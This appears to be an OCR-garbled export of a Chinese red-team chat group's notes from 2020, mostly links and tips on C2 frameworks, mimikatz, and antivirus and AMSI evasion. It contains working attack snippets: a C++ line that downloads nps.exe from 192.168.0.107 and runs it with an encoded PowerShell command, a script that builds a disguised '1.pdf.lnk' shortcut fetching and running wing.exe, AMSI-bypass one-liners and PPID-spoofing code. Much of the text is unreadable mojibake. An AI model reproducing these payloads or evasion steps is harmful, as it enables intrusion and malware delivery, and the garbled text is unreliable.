RedTeaming - 2020-01-06

#Tools# #c2#
GitHub+-+p3nt4/Nuages:+A+modular+C2+framework

RedTeaming - 2020-01-06

#Bypass Waf#
IMgIREE L E, srcthiBZ2ILT,
REMEEL

GitHub+-+hakluke/hakrawler:+Simple,+fast+web+crawil...

RedTeaming - 2020-01-06

#RedTeam#

ATTRCKI T ZRIIRIF L

RedTeaming - 2020-01-06
#AWBEH#

EE AR BT E

RedTeaming - 2020-01-08

#Tricks#

acCOMplice/masterkeys.csv+at+master+-+nccgroup/acC...

RedTeaming - 2020-01-10

SH—EIBAIRIG (2020.1.9)
SREINENMER, RERRNRMNE BT BEIRNA BB XHRFFIMRURITIMES ELT, MBI EHR word XHHIEENE % (% APPdata%\Microsoft\Word\STARTUP) AN *.wil X4, = word X {4 EafIRHEE A rundli32.exe i
XA wil X, WTFEGIFFR, ZAERRTF win BUFHH word # office 4l

Wing: kB crazyman

RedTeaming - 2020-01-12

#RedTeam#

ZIBAINGR (SR4RHE) :
KIMBEAVIR B (TThxssZHi? )
WRAISHRD B

EDRZ A EXIH1

HLIMRIE

BHSIFANRAE ST
AMERBEIREARTA?


https://github.com/p3nt4/Nuages
https://github.com/hakluke/hakrawler
https://mp.weixin.qq.com/s/UITOiXwpETDZn2UvG9ChvA
https://mp.weixin.qq.com/s/BuqXDaKuakgBhG_MpvOkjA
https://github.com/nccgroup/acCOMplice/blob/master/masterkeys.csv

BENMERKE
BRERKRSE
RENIRENAI N 4R
EEEATE
RedTeamerfJk &
RedTeami 231t

RedTeaming - 2020-01-18

#Tools#
BRI
BRI E+|+EE 51575 s+Blog

RedTeaming - 2020-01-21

tricks

EEXXHZENRDREFI A +-+Neurohazard
RedTeaming - 2020-01-21

#HB5IEM#
javaikBiE s,
TOOLS++{RiAR &K B+-+BOIRE

s SEHIKE®
Wing: H— P EBFREIZMT. HiTEHRA—MWIR2IER T xss, —HESIME,
RS e L )]

RedTeaming - 2020-02-08

#Bypass AV#
BhLeshellcodef R B4

TOOLS++KiAKREB+-+BOIRE

RedTeaming - 2020-06-17

#BypassAV#
[E8BEC2I A
GitHub+-+bats3c/shadOw:+A+post+exploitation+framew...


https://daolgts.github.io/2019/03/08/%E6%95%8F%E6%84%9F%E6%96%87%E4%BB%B6%E6%90%9C%E9%9B%86/
https://www.t00ls.net/thread-54727-1-1.html
https://www.t00ls.net/thread-54949-1-1.html
https://github.com/bats3c/shad0w
http://wp.blkstone.me/2018/06/abusing-arbitrary-file-read/

E_{és,

shadow
shadéw » beacor
Sending stac 151 (1002976 bytes)

Beacon: XuanJ)ian@DESKTOP-T7GJSKA (ARCH: x64, 0S: Windows 10, Type: SECURE)

RedTeaming - 2020-06-17

#NEH

FEXBNNMHHBEREMNSE, KHETANMEREMBEILMOMIERN—, HEEEE, BRBENXENME—EENAXESETLENTEZRNTHINE, BHAEICRIEES,
RedTeaming - 2020-06-17

#BypassAV#
CSHEMAAHREIBEIAVIEEE?
R REE A CSIERMpsHIAR A RRM, EHResourceKitE KR RAItemplateBI AT,
Making+AMSI+Jump+-+Offensive+Defence
CobaltStrike-Toolset/Kits/ResourceKit+at+master+-+...

RedTeaming - 2020-06-17

#BypassAV#

exef RS RARLERE R, powershell FiEH P DU EAFHIE, EXUFE, SR,
GitHub+-+RythmStick/AMSITrigger:+The+Hunt+for+Mali...

EPREERT, FhRBENUTEIR, BER, FEAILRERNBpwshiE2IRIEN.


https://offensivedefence.co.uk/posts/making-amsi-jump/
https://github.com/QAX-A-Team/CobaltStrike-Toolset/tree/master/Kits/ResourceKit
https://github.com/RythmStick/AMSITrigger
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°o o o o

I find it!

PowerShell i< EEBRIIN
APTH B E:+PowerShell& REB R

Wing: SXETERMTA APT xxx Fk. FRAHRENBHEXEZK,

RedTeaming - 2020-06-17

HAN PR A 15
ISR

echoilllix,

FIER

EE XM
HFEENTHS
THEEELEFIITHS
#fTshellcode

TOOLS+[+EIFAREB+-+BLILE
RedTeaming - 2020-06-18

ANyt
PRUVBECABEL, MWALPalll, SRMEE......
WRSIAREEEI

anti-sandbox/README.md+at+master+-+ZanderChang/ant...

RedTeaming - 2020-06-18

HREFFRH#
ZEFREdemo, ERHMIFREIMEHLFIUZZAT.

BAREFRHEFR
RedTeaming - 2020-06-18

#SERR#
FEIZHIER T E Sshell

powershell
file = Get — ChildItem — Path.—Filtertest. html — recurse — ErrorActionSilentlyContinue;f = -Join(file. DirectoryName," /a.tzt "); ech0222|Out — Filef

bash
/1 3# N\test.ntmlf91R B R HMITIdG LS N 1.txt

cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1g) && echo id > 1.txt

Java+ R FIILE R SHEE -+ YerEE


https://mp.weixin.qq.com/s?__biz=MzIwODIxMjc4MQ==&mid=2651004599&idx=1&sn=fce641cae5049ad5d26c04c6cecb569f&chksm=8cf138f5bb86b1e3f8b6460ec4c4ea3e29ec7cf083dd851fc911dca813c031583b61d20a9c01&mpshare=1&scene=24&srcid=&sharer_sharetime=1591249092790&sharer_shareid=3c75bd36c2ee6f4b35a34b686653e6ac#rd
https://www.t00ls.net/thread-56775-1-1.html
https://github.com/ZanderChang/anti-sandbox/blob/master/README.md
https://mp.weixin.qq.com/s/FS8JVnZqqXw1M9czyeF8dw
https://y4er.com/post/java-deserialization-echo/

RedTeaming - 2020-06-18

#5BER#
FE RHIER T E Sshell

powershell
file = Get — ChildItem — Path. —Filtertest. html — recurse — Error ActionSilentlyContinue;f = -Join(file. DirectoryName," /a.tzt "); ech0222|0Out — Filef

bash
/1 3# N\test.ntmlIf9iR B ZHHITIdG LS N 1.ixt

cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) & echo id > 1.txt

Java+RFFICE BRI STHEB+—+YderIEE

RedTeaming - 2020-06-20

#EMBRREE  #RERH
RcE—di#EmiT, BEmErE, pEd]

Bring+your+own+.NET+Core+Garbage+Collector+|+Conte...


https://y4er.com/post/java-deserialization-echo/
https://www.contextis.com/en/blog/bring-your-own-.net-core-garbage-collector

A TFC++ABR— I EEEARRIRAE, A
IM4R3% 3! Windows DLL B, LAMERIT(E
EHAEIEE L,

RedTeaming - 2020-06-21

#EBRI#
fREdpEENHD, ERERTA@MAIM, 3EGhostpack LA LiHiSharpdpapi
KREE SRR ZHIRDPET


https://mp.weixin.qq.com/s/2oIabZAk3EMaFI4M6MPhtw

RedTeaming - 2020-06-22

BETH
KELINEZIT—T, BHELN, BREBSHT, yIRAFHE—THERERI].

RedTeaming - 2020-06-22

HBERIH#
IdapiE NRESFIA

LDAPEANITZ I ER+-+ S+t X +-+BE T
RedTeaming - 2020-06-24

#INRER M TR#
IR TFEI A R

GitHub+-+FSecureLABS/physmem2profit:+Physmem2profi...

RedTeaming - 2020-06-24

mimikatzfg B R FiA:

. BIFEXEREPmimikatz, MIMIKATZ

. tEmimikatz XX E#HITER

. ERrc3fF 5icoElR

. {EAhead L EMBIRIFNE head -c 10000 sss.exe > xxx.exe

. EMEEURIT, ZHIMimi. kiwiandreg. wdigest. base64. multirdp. logonpassword, sekurlsa. , AEEERESR
. HiEdefXXt, EREAR., FEAJAXHEERSAKRNTS, AREBFERdumpbin(vsB®)ERIbI M, REEHHRIZEEF,

o OB~ ON =

#Mimikatz# #Redteam#

A : head HHHAEBARELT, ZAIAR/LR, BRENZ virtest BEF

lengyi: EXMEEM, UMM/ OXETF, FERRRE—P, RE—THX windows defender, EthBITHiIB

PERTF: wd MRARHE—EXAREAEE, miml & wd FEREIEE, 3 wd BEHSE

PR : BIMEIBNARTERET, BN ItHhaTE wd , Fid wd edp 7, BPNBERMERALE, THBE, BREEMA—EBAE
lengyi: Wd EEEZERRHHRBECRNARAE, SHEBM—IE.

lengyi: #ERRNHIEENRT TR,

lengyi: TIREVINEEMISARIFH, RIBMED, IHEEAMBZTHS

L: REHTE icon W—T, WP &

RedTeaming - 2020-06-24

#HLIPAR SRR #
CSTIPSHS|, EEHMEAFPNE XFIBETHLZ FIVE.
https://www.bilibili.com/video/BV1yz411i71Z?p=2 [{T5]

RedTeaming - 2020-06-24


https://cloud.tencent.com/developer/article/1584896
https://github.com/FSecureLABS/physmem2profit
https://www.bilibili.com/video/BV1yz411i71Z?p=2

SR EPSANIN: S ::
@anthomsec
@FuzzySec
@subTee
@Hexacorn
@R3dF09
@ptracesecurity
@TheHackersNews
@0Ox(ffff0800
@campuscodi
@Pwsecspirit
@CyberRaiju
@424f424f

RedTeaming - 2020-06-24

#CSTips# #CSIEMTFEH#
QAXHIBRRX B T XMB.BTFE LA

Event Log X | Seripts X | Beacon 192.168.123.24€6500 X | Listeners X | SSH 10.37.129.2 X | Keystrokes X

Event Log X Scripts X  Beacon 192.168.123.2406568 X | Listeners X | SSH 198.37.129.2 X X

Keystrokes

RedTeaming - 2020-06-25

#CSTips#
cobaltstrike EFF4.1, 1IN TFINAE,


https://github.com/gloxec/CrossC2

June 25, 2020 - Cobalt Strike 4.1

+ Fixed &listener_delete

+ Implemented sub-system to run Beacon Object Files. A BOF is a compiled C
program that executes within Beacon and can call Win32 and Beacon APls

+ Ported 4.0's inline-execute capabilities to BOFs

+ Fixed logic flaw in getsystem

+ Added inline-execute command to run arbitrary BOFs

+ Moved dllload, reg query/queryv, and timestomp to BOFs

+ Added option to bootstrap Beacon in-memory without walking kernel32 EAT

- Artifact Kit and PowerShell (Resource Kit) artifacts use this option

- Added &payload_bootstrap_hint to apply this option to other artifacts

- Added -hasbootstraphint to check if this option applies to a payload

- set stage -> smartinject to true to enable this behavior.

- Removed option to generate x64 DLL that spawns an x86 payload in new process
+ Simplified the Artifact Kit by removing artifacts for deprecated features

+ Extended Beacon metadata with more info such as Windows build number and key
function pointers used to bootstrap agent.

+ spawn, spawnas, spawnu, inject, and elevate uac-token-duplication now inherit
pointers from same-arch target Beacon session metadata when stage ->
smartinject is enabled.

+ Added &payload_local to generate shellcode with key bootstrap function
pointers inherited from a parent Beacon session.

+ Added set ssh_banner "..." to change SSH client info for Beacon's SSH command
+ Simplifed the heartbeat portion of SMB and TCP Beacon protocols

+ Added smb_frame_header and tcp_frame_header Malleable C2 options to shape the
content and size of the length frames in these communication protocols

+ Fixed bug that has localhost-only TCP Beacon bind to 0.0.0.0 after first unlink.
+ Multiple updates to SSH agent to keep pace with Beacon protocol changes

+ Split extc2 Beacon into its own DLL (as extc2 protocol is now diverged from
the SMB Beacon protocol due to changes made in this release).

+ Several security descriptor changes in ExtC2, SMB Beacon, and SSH agent

+ jump psexec* now uses UNC path with target instead of 127.0.0.1 to reference
uploaded file on target.

+ Added right-click menu to show/hide unlinked nodes in pivot graph.

+ Added &unbind to unbind keyboard shortcuts (to include Cobalt Strike built-ins)
+ Added exe option to Scripted Web Delivery. Generates and hosts EXE at URL.
+ Added [note] field to logs to call out note changes made to session

+ Added scriptable popup hook for 'listeners' (View -> Listeners table)

+ Added "*" meta-column to table Ctrl+F feature. Searches all columns at once

+ Removed a few (not searchable) columns from table Ctrl+F feature

+ Added web server port to View -> Web Log output

+ Fixed a PE parser bug

+ execute-assembly's "are you an assembly" check uses a better check.

+ Updated to Mimikatz 2.2.0 20200519

+ Editing listener no longer removes its color accent.

+ Fixed off-by-1 error in c2lint's useragent length check.

+ sleep_mask now uses a slightly larger mask

+ Fixed DNS staging regression when dns_stager_subhost is set.

+ Fixed inconsistent stager pipe bug in &stager_bind_pipe and &beacon_stage_pipe.
+ Made getuid a little bit more robust

+ Console directed messages now scrub ESC character.

+ Added an exit hint parameter to &payload function (thread or process)



RedTeaming - 2020-06-25

#BBET AR
FRBEI—NRME —NioARIS IR, KEBETMEZERT?

[*] starting at 21:53:05

[21:53:05] [INFO) loading PoC script 'ThinkphpRceCheck.py"'
5 5] [INFO] pocsusite got a total of 1 tasks
85] [INFO) running poc:'thinkphp-rce@ ' target 'http://192.168.123.22:8081/'
inkphp_RCER #
) [+]

tp 192,
Scan completed,ready to print

- - -—+

| target-url poc-name | poc=id | component | version | status |
. t——— e -+

//192.168.123.22:8081/ thinkphp-rcets Thinkphp | Thinkphp | success |

[*] shutting down at 21:53:05

. @ = ~/re//poc T anaconda3 ¢ 16,79 KiB/s 118.11 KiB/s 192.168.123.22 « 4SS EEEEEREED

s engine loadScript °

- http://pocsuite.orq
[*] starting at 2

loadi
] po
running po nkpt F target 'http://src. 1=~

RedTeaming - 2020-06-26

#CSHRMFTR#  #CSTips#
DE—CSHEMHEKYFEBESKT—T.

GitHub+-+josephkingstone/cobalt_strike_extension_k...


https://github.com/josephkingstone/cobalt_strike_extension_kit

[ )
Interact rw_httns

Wingkit » BTN
Access | 1BAKit b
Explore | pymi{s 25 »
Pivoting ' | #@#&zsh b
Spawn PRI E g
Session ' |DumpiEE |

RedTeaming - 2020-06-26

#GRRH
BEHATXmIB S R Rdump, REZE R ARE, WS BN T

held : ] 53 (7]

Wing: [MSBuild:+A+Profitable+Sidekick!+I|+TrustedSec](https://www.trustedsec.com/blog/msbuild-a-profitable-sidekick/)
BRI : &FT TR, HLBAYSHMAEN xml # PEloader m#E dump THIEEEIZETIT mimikatz 2, flag: ARELIZESIIT



RedTeaming - 2020-06-26

#RAH
NetCore & 84511 (B2 4 MAYdINI R B S cshpayload. Fi S # 3. I A 7 A4, 6EiT 360.
Abusing+.NET+Core+-+Evasion+|+Pentest+Laboratories

VRS : IR T KBHNRERARREMIFTELEES] CreateRemoteThread T. . . IWEMNFEHET
lengyi: X4 == $HERBRE
RS : 360== Xff md5 X

RedTeaming - 2020-06-26
EHMEBRT R ENTE logoff ERA? ps SEMTEERITENSR, MESLI The interface is known BIIRE, KRBT AFHIBBRSEA?

RedTeaming - 2020-06-26

#LTPAFRT#
PPID Spoofing:
RFFRIIEH A RE, EB BN T LR B word$TFF 7 cmd, 34 cmd 2 FEwordiX T 72 T, {B 2 CreateProcessAiX M #i i IpStartupInfoZ £ R LAE E pid. S EU T X TMRIERIAZAL.

IFRLRIEIRE Isass2systemiViE, BIFRN T .

vbatf X FI F:
Sub Parent()

Set obj = GetObject("new:CO8AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "pentestlab.exe",Null,"C:\Temp",Null,0

End Sub
comIFRBIRANIXN#FZ R Eexplore T HE, B8N, B B4 IRER2E.

cobaltstrike ! {4

#

# Autoppid - script that smartely invokes PPID for every new checkin in Beacon.

# PPID command requires invoked Beacon to have the same Integrity level as the process it want's

# to assume as it's Parent. That's due to how InitializeProcThreadAttributeList with

# PROC_THREAD_ATTRIBUTE_PARENT_PROCESS works. In order to avoid harcoded explorer.exe PID assumption,
# we can look around for a configurable process name and then try to find that process running

# on the highest available for us integrity level. In that case, unprivileged user would assume PPID

# of for instance svchost.exe running as that user, wherease the privileged one - could go for the

# svchost.exe running as NT AUTHORITY\SYSTEM. We aim to smartely pick the most advantageous target,
# in a dynamic fashion.

#

# The script also includes alias registration.

#

# Author: Mariusz B. / mgeeky, '20

#

#

# Set desirable process name which you want to become your parent. This process will be used for
# parent PID spoofing and thus should be allowed for opening for your current process token.


https://pentestlaboratories.com/2020/06/23/abusing-net-core-application-whitelisting/

PARENTpROCESSyAME =" suchost. exe '; < br >< br >< br > beacon.ommand,egister(< br >" autoppid ", < br >" Automaticallyfindssuitable PPI Dandsetsit(target :PARENT_PROCESS_NAME )",

"Automatically finds suitable - according to the current user context - PPID and sets it (target: |PARENT7PROCESS?NAME )");<br><br>sub findSuitableParentPID {<br> local(' Lbid callback_processName , serName’); < br >_bid = 1; < br >_callback =
2; < br >_processName = 3; < br >_userName = binfo(1, " user "); < br >< br > if(right(_userName, 2) eq ' *') {

userName = substr(_userName, 0, strlen(_userName) - 2);<br> }<br><br> _bps(] bid, lambda({

local('tabentry namepid ppidarch user’); < br > foreachentry (split("\n",

|2)) {<br> (Vname, \(ppid, \)pid, \(arch, \Juser) = split("\s+", \(entry);<br><br> # "NT AUTHORITY" contains space, thus breaking our split results. Here's a workaround for that<br> if(Juser eq "NT") { \(user = substr(\)entry, indexOf(\(entry, "NT "));<

bid => pid,callback => .allback,userName => , ser Name,processName => |7processName));<br>)<br><br>alias autoppid {<br> local(' |processName userNameparams');
params =""; < br >< br > if(strlen(0) > strlen("autoppid ")) {
params = substr(0, strlen("autoppid "));

}

processName =PARENT_PROCESS_NAME;
userName = binfo(1, "user");

if (right(
userName,2)eq’ ' )< br > \)userName = substr(\(userName, 0, strlen(\)userName) — 2);if(\(paramsne " quiet *)< br > btask(\)1, " TaskedBeacontofind\(processNamerunningas\)user Nameandmakeitthe PPID."); findSuitable Parent PID(
params), |processName);<br>}<br><br>on beacon_initial {<br> # Parent PID spoofing<br> fireAlias( |1, "autoppid", "");

}

on beacon_error {
local('ppiderr');

if (2 ismatch 'Could not set PPID to (\d+): (\d+)') {<br> (Jppid, err) = matched(); < br >< br > if(err == 87) {

blog2(1," CatchedPPIDerror : \c4Previousparentprocessnolongerezists\o. Findinganewone..."); < br > fireAlias(1, "autoppid", "quiet");

}

else if(

err == 5)< br > blog2(\)1," CatchedPPIDerror : \c4\(err\) + \o. AccessDenied. Don’ tknowhowtoproceed. ResetingP PI Dtonone."); bppid(\(1,0); < br > < br > else< br > blog2(\)1," CatchedPPIDerror : \c4\(err\) + \o. Will findanothercand
1, "\c8 Repeat your last command as it failed.\o");

}

}

SENHY
Parent+Process+ID+(PPID)+Spoofing+-+Red+Teaming+Ex...
Parent+PID+Spoofing+|+Penetration+Testing+Lab

FMAIA:
GitHub+-+hlldz/APC-PPID:+Adds+a+user-mode+asynchro...
GitHub+-+ewilded/PPID_spoof:+An+example+of+how+to+...

GitHub+-+sud0100/Processinjection:+Some+ways+to+in...

#H#demo

-, eI wr 1 ey Rt e oy ~ e

SYSTEM * DESKTOP-T7GJSKA http-x64.exe 7832 x64
SYSTEM * DESKTOP-T7GJSKA http-x64.exe 11728 x64 53s



https://ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
https://pentestlab.blog/2020/02/24/parent-pid-spoofing/
https://github.com/hlldz/APC-PPID
https://github.com/ewilded/PPID_spoof
https://github.com/sud01oo/ProcessInjection

Wing:

RedTeaming - 2020-06-26

SHBRE: icoTHiexe
Using+Shell+Links+as+zero-touch+downloaders+and+to...

HREF: SEREEME
crazyman: ARER FIRENERMISHEREHEHNER

RedTeaming - 2020-06-26

MSBUILD WITHOUT MSBUILD
msbuild.exe—E 24 FATIFLOLBINEIRE) L, MEE 22 T A SIEIEINE Z AN, % H & 2 REEAEN " AN B E T, TRXERFHEWEFHIE—EF B SHMsbuild

https://pentestlaboratories.com/2020/01/27/msbuild...

GitHub+-+rvrsh3ll/MSBuildAPICaller:+MSBuild+Withou...

RedTeaming - 2020-06-27

5% tips---->BF{RAYinvoke-mimikatz #35 &R I5#

8Etips---->E FifRilinvoke-mimikatz

RedTeaming - 2020-06-27

5% tips---->EFT{RAYinvoke-mimikatz #35 &R I5#

8Etips---->E fifRilinvoke-mimikatz

RedTeaming - 2020-06-27

C# PEloader il #mimikatz(S8 i —MT#Y xml mimikatz)
ER#EE D ZInvoke mimikatz, FiA—1ZBISAIXmIRINE,
FITET T2

http://www.8sec.cc/index.php/archives/358/
123gsdaxc

MmN E

http://myblogimages.oss-cn-beijing.aliyuncs.com/so...

HRAH  HBBRIOH


https://isc.sans.edu/forums/diary/Using+Shell+Links+as+zerotouch+downloaders+and+to+initiate+network+connections/26276/
https://pentestlaboratories.com/2020/01/27/msbuild-without-msbuild/
https://github.com/rvrsh3ll/MSBuildAPICaller
https://mp.weixin.qq.com/s/Fp1P3-O-Q6or_or0HEJGRw
https://mp.weixin.qq.com/s/Fp1P3-O-Q6or_or0HEJGRw
http://www.8sec.cc/index.php/archives/358/
http://myblogimages.oss-cn-beijing.aliyuncs.com/soft/mimikatz.xml

lengyi: HREMXARMETEERT 360 1Y, AIEMERTT. .
RS HREVRHRRICEIRTI

#HRE: HENAE

lengyi: AAF, HRAT PE M, REMAMREENGE
WEAREF: W, BRBNHMZIE

RedTeaming - 2020-06-27

HIARSZUIRE #RFHA
FERLEKINKHI BRI G ARRA, REBWIMAET K 5150360, TRZvpsiUik, EMHAAER,

LNKYIEIE BEEREE (- )DO F4F~-bilibili

crazyman: FILABIRE—THR/IVUXHEENRMMEEI LR

BN : XFeE pilipili 18?2 B7TE7T

Wing: #param ( [string]$SourceExe, [string]$ArgumentsToSourceExe, [string]$DestinationPath )##

$shortcutName = "1.pdf.lnk"

$TargetPath = "C:\Windows\System32\wbem\WMIC.exe"

$IconLocation= "[http://192.168.123.22:8080/wing.exe?.ico"](http://192.168.123.22:8080/wing.exe?.ico")
$shortcutOutputPath = "$Home\Desktop\Csharp\"+$shortcutName

$WshShell = New-Object -comObject WScript.Shell

$Shortcut = $WshShell.CreateShortcut($shortcutOutputPath)

$Shortcut.TargetPath = $TargetPath<br>$Shortcut.WindowStyle = 1

$Shortcut.Arguments = ' process call "create" /"%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\wing.exe "'
$shortcut.IconLocation = $IconLocation

$Shortcut.Save()<br><br>Ei$Shortcut .WindowStyle = IXBRAEREMR/L7 ER/IVET, 012345837,

crazyman: R ENAXFARESEERXAEE FEEENNE EARTEENHS2E EWRE FRMMZEBARBEFRREDNERBINIEREXR

RedTeaming - 2020-06-27

#IRAN#
XE—TMERSRINGNIA,
SRIE1%— FAsttbLocal System/Network Service/Local ServicefX 3, WAFEET51cto
1.Local System (Aith &%)
ZIKF BB RS SRR,
Bt ZEPhRETFAMAdmInistrators FAF4E, ELLATE A Administrators F P BEG8 3 THIIRVEIZMK P thBEGS 1T,
HR, ZIKFIERE5 RIS HRIABR (NTFS X RS FIEMRIIR, EZESBAEERREUSIHEIEE.
MRS TP, HAIE1TFLocal System MK THIARSS & T LAME B 23 M E R — D AR PG EIE DN 22 B ShIAILE,
RE—AMRBITFLocal System THIHIZEEBFERAZTRIE (null session) EIFEIMEERIR, 2FIFKR, BALocalSystemlkFizfiTHIARS EEH: WindowsUpdate Client, Clipbook, Com+, DHCP Client, Messenger
Service, Task Scheduler, Server Service, Workstation Service, &8 Windows Installer,
2.Network Service(F4ARS3):
Z RN T ERNEEIKFERMLE EEAITEN INEMZER . {ER2M%ELocal System ABA ZHINER.
EEEBLUITENNE GHEMERR. LXK IETHRS SRIBRIMEIE ) R R A IR AT B,
BT F UMK T ROHFME AN A B B XHHKEY_USERS\S-1-5-20f]1Documents and Settings\NetworkService,
24555, BANetwork ServicellkFizTRIBRE EEH: Distributed Transaction Coordinator, DNS Client,
Performance Logs and Alerts, *RPC Locator,

3.Local Service(AithfRS3):

Local ServicellkF® 2FMiZAIHHE R/ VIRMZARIKF, FEMETITTFEEERZNSH.

BT T IIK P A IZFNETT T Network Service K TRIHTZAIX B

EFi51TF Local Service Mk THI#HFE REEIS B A 1T E R IHRIMIME R,

i&{TF Local Service THINK - {# FROED B 4 R HKU\S-1-5-19 FlDocuments and Settings\LocalService,

241535, MLocal ServicelkFizfTRIARS EEH: Alerter. Remote Registry, Smart Card, SSDP, i&%&WebClient,


https://b23.tv/nChcPS

R

%% Local System (AHEZZE) , {FABIAIGDO: 14330, EFIIBERAMA: ., (local) , localhost, 127.0.0.1%,
3% Network Service(WERRSS) , TIERTEREINGO: 1433, HEIFEIERE: ., (local) AHJH, localhost, 127.0.0.1%GFEEBEMIKOS KOS,

GitHub+-+realoriginal/bof-NetworkServiceEscalate:+...

Wing: BXEREENFZEFN, HAlF.
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#TARKI5#
burpf £iCFpassiE N B F
Burp Suite > Proxy > Options > TLS Pass Through.
Add these:
..google.com
..gstatic.com
..mozilla.com
..googleapis.com
.*.baidu.com
com
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#HLIBARRIS#
SRINKH BRI HEE DT RIEE T BEA IR A IMFMIRARAERINEEE 3K 701234, 347, R E Egithub. 1R 7 38, X2 A FHIZEN3.0-4-7, R TTHY, FROUHSR—T.
FIBAIBE.

'ﬁ' virus181/calcontrol

install/shortcuts.vbs

16
17

30 "\MicroSIPRun. lnk"
31



https://github.com/realoriginal/bof-NetworkServiceEscalate

MHHF) REE) RS WV RBN) ES0) _mM TRO) =M &R HEHP) WmOW) ?

it;lﬁ.,glemt.:c fgex B35 EFEENAe=EEEBE
.hd&].mmcﬂ.mma I gen2.p=1 3
fparam ( [string] [string]§ArgumentaToSourceExe, [string]sSC inationPath ) ##

$shortcutName = °
§TargetPath =

1 Oov L U

$IconLocation= 22:80
SlhortcuzOutputPn:h = I t Iy "¢$|he:tcutlll.le
$WshShell = New-Object -comobjecl HScnpt Shell

7 $Shortcut = Sllshshall CreateShortcut ($shortcutOutputPath)
$Shortcut.WindowStyle =
§Shortcut.TargetPath = Sturgou'nth

$shortcut. Iconlocation = $IconLocation
$Shortcut.Save ()

#5#X 5 : hhhhhhhh
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Wing FTP Server 6.3.8 - Remote Code Execution
#—T, A—RRITE?

GitHub+-+V1n1v131r4/Wing-FTP-Server-6.3.8---Remote...

#exploit

RedTeaming - 2020-06-28

JS reverse shell payload

HSERI#

RedTeaming - 2020-06-28

- Bypass Office 365 ZE4MEBERE MK B ah¥E KB R 2 5RIK

Bypassing+External+Mail+Forwarding+Restrictions+wi...

Bypassing+External+Mail+Forwarding+Restrictions+wi...

10 $Shortcut.Arguments = 'pr te" “SUSERPROFILES\Af ta\l 1\Micr ft\Windows\INetCact wing.exe""'


https://github.com/V1n1v131r4/Wing-FTP-Server-6.3.8---Remote-Code-Execution
https://blog.netspi.com/bypassing-forwarding-restrictions-power-automate/
https://blog.netspi.com/bypassing-forwarding-restrictions-power-automate/

HEREE: B, (RIIEAE LYDSE DB RRIEIXLERND (]
lengyi: [#F5] K%M, RIE

WERE: RTAR, RERT [F%]

lengyi: [{EB]

Wing: A, HAIFHE LI,

HERE: [NEIMNS]IMNE] BIRHBETM, it math
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C# H4T powershell (ZBISHIEIE, FEH) .
LAHMAYRHR VT 2 0 %, windows 10 BAVIES T AMSI

HOlk: c# ERIDMEBIRBEXHRM—1E],
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#HBIBRIGH#
WEBASSEMBLY & T Blin#I B R, (EE S CHRIEMjs, Bidnode 1T, 1A El R 3shell B9 B #Y.
#include
#include
using namespace std;

int main(int argc, const char *argv[]) {

system("curl http://192.168.0.107/nps.exe --output C:\Users\Public\nps.exe && C:\Users\Public\nps.exe -encodedcommand

QQBKAGQALQBUAHKACABIACAALQBBAHMACWBIAGOAY gBsAHKATgBhAGOAZQAgAFAAcgBIAHMAZQBUAHQAYQBOAGKAbwBUAEMAbwBYAGUALABQAHIAZQBzAGUAbgBOAGEAJABPAG8AbgBGAHIAY QBtAGUAdwBVAHIAawA7ACQAbQBzAGCA
return O;

}

WebAssembly+-+Executing+malicious+code+using+Syste...

RedTeaming - 2020-06-29

HIZAH
Win10PI4R X

ps:EIX BIR UL TN
B E#i% BB ARIZEN, R E SHENBILIIAN BERIES.

Kernel-Exploits/kCFG_Bypass.c+at+master+-+connormc...


http://192.168.0.107/nps.exe
https://iamroot.blog/2020/06/29/webassembly-executing-malicious-code-using-system/
https://github.com/connormcgarr/Kernel-Exploits/blob/master/HEVD/Write-What-Where/kCFG_Bypass.c

\ 10. 0. 17763

poration,

7. ROOTKIT\Desktop\1>whoami

ed at: X
via Create

kCFG!
SER_SHARED_DATA+0x800!

Wing: ZTEEELHE/LTRRE C K3
#REF: pbd X [FRE]
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#RAH

DLLIREHEN SR, CSHIBRBEFIZENR, B BB D = IR L5,

RedTeaming - 2020-06-29

VELRARIE M I A E5 A )
H GeowZ £HIAIRIRE /)N R

Wing: XMAENER, REFENE.
crazyman: ER wing HEFITIF RBG—T
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#LTAIRTG#
AP & EBBANIIE X MEER—E5.XD
Mac csc4miZE0m].


https://www.bc-security.org/post/reflective-pe-injection-in-windows-10-1909/
https://mp.weixin.qq.com/s/l-w1Tx9h-hjg4Y4ZEziiFA
https://github.com/WingsOfDoom/ICU

. Cobakt Strike RedTeamiWing

-
It Strike View Attacks Reporting Help

CE N EZ0 as/U el e Bo
external internal - listener user computer note process 2]
192.168.1,.. http Adainistr... PC-JERRY-KIT ]

Interact |
rinoxic ] ]

Access

Explore .

Pivoting * v - T1134

Spewn or B - ceane- - Tha
Sg¥eion ‘| MPEEBe-2 - Tha
Pay

Windows RRS

Microsoft Outlook

Acthmanication recured

Event Log X | Credentials X | Seript Console X | Sites 12¢

X | Seripts

WIRF: XATELF
lengyi: f#E{4EER

Ez: KE: (S BEARMEEXHLE, MFPEHES redteam 4

Wing: R#iFE cs, PAIMEFEITRFALR cs

HhE: XNEIERE

Wing: fR%E bilibili R, BEH/LTEMESPE.

S e L %))

EHZ: AR, BET TRESWIED, EMNRT, BREAARENMEEXMREN, XRIZEEA LR
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&k —TbypassASMINE, 4BHMNTAEMER, ERRIAK, B7EERENXtE AT,
T

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'). GetField(‘amsilnitFailed','NonPublic,Static'). SetValue(null,true)

m =" System. Management. Automation. Ams "; [Ref]. Assembly. GetType("m" + "iUtils").GetField(‘amsil' + 'nitFailed’,'NonPublic,Static').SetValue(rnull,true)
#:8BI5# #Redteam# #ASMI#

Wing: ZEEANEM, X TFE pdf WINRENAZENRERN, ZEEHNE adnin NRA1T.
lengyi: ik, —#RIZRHE admin B
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mssql Fo X {frootkit FFclrigiXZlsystem
MSSQL+Fileless+Rootkit+-+WarSQLKit+-+Eyiip+CELIK+//...

RedTeaming - 2020-06-29

ENIRIE K &sqlserver crflFB, ZRISTRE4%, IMEMAET
mssqlF FH&CLRFI F&mssqlproxy($t 3R E H I B A HEE FIERIR)
Xp_cmdshell

FFExp_cmdshell iZfi#13 72


http://eyupcelik.com.tr/guvenlik/493-mssql-fileless-rootkit-warsqlkit

WLHIT
SP_OACreate

(EIE)

(BE2)

CLR Assemblies
CLRRIB(FRRA)
FEREAN
dIXHSAN

CLR%®Z

